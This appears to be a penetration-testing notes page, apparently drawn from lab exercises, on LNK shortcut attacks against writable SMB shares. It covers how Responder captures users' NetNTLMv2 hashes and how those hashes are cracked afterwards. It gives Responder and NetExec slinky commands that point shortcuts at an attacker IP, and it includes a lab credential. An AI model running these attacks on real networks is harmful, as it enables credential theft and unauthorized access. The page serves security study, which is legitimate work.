For the complete documentation index, see llms.txt. This page is also available as Markdown.

LNK File Attacks

If we have access to a share, we can put there a malicious file. On the other end we can have responder. Once the file is opened we get the hash

Manual way

Step 1 - create a malicious LNK file

Create a file linking to our Kali Running responder

Put the shortcut in shared folder.

Step 2 - run the responder

  • sudo: Runs Responder with root privileges (required).

  • responder: The main script to run the Responder tool.

  • -I eth0: Specifies the network interface to listen on (e.g., eth0).

  • -v: Enables verbose output.

  • -d: Enables NBT-NS (NetBIOS Name Service) poisoning.

  • -P: Enables WPAD (Web Proxy Auto-Discovery Protocol) rogue proxy.

Make sure SMB is on

Step 3 Exploit

Run the shortcut file and we will have a hash.

We can crack it as well

Automated Way

Netexec can do it automatically. (slinky module)

It autocreates a LNK file.

With a new foothold and a writable share, the next step is to gain access to another user account. This is accomplished by leveraging the writable share to perform an LLMNR/NBNS poisoning attack.

We have a writable share. It is nearly the attack pattern. We can put a lnk file into the writable share, and then if any other user opens it, we can capture the hash in responder. We have netexec module for it.

  • Attack: By placing a malicious shortcut file on a writable network share, an attacker can trick other users into attempting to connect to a server they control, thereby leaking their NTLMv2 hash.

  • Tool 1: Responder: Responder is a tool that listens for and intercepts authentication requests. It acts as a malicious server to capture the NTLMv2 hash. In one tab start the responder

    • Command: sudo responder -I <your_interface> (e.g., tun0 for VPN)

  • Tool 2: NetExec (nxc) with the slinky Module: The slinky module automates the process of creating and placing a malicious shortcut file on a writable share.

    • Command: nxc smb <target_domain> -u H.Potch -p <H.Potch_password> -M slinky -O server=<kali_ip> shares='FileShare' name='Hacksmarter'

  • Result: As another user (H.Grangon) browses the share, Responder captures their NTLMv2 hash. You can then use Hashcat with a wordlist to crack the hash offline, revealing the password magic forever.

Now save the hash in a file and crack it with hashcat

or with john

And we have new set of username and password

Hashgrab

To prevent breaking existing Python tools on the Kali VM, Hashgra is installed and run inside a Python virtual environment.

Step 2: Payload Generation

Run Hashgrab to generate the malicious files, pointing them back to the attacker's VPN IP.

Step 3: Setting Up the Listener (Responder)

Start Responder on the VPN interface (tun0) to listen for incoming authentication requests triggered by the malicious files.

Step 4: Uploading Payloads to the Writable Share

Using the credentials compromised in Part 2 (j.reed:Utah123), connect to the TransitionZone$ share on the swim-server and upload the malicious files.

Step 5: Hash Capture & Cracking Attempt

After the files are uploaded, a simulated user (e.ackerlund) browses the share, triggering authentication to the attacker machine. Responder successfully captures the NetNTLMv2 hash.

An attempt is made to crack the hash offline using a host machine with a dedicated GPU (for speed) rather than the Kali VM.

Result: The dictionary attack against rockyou.txt failed to crack the hash.

Last updated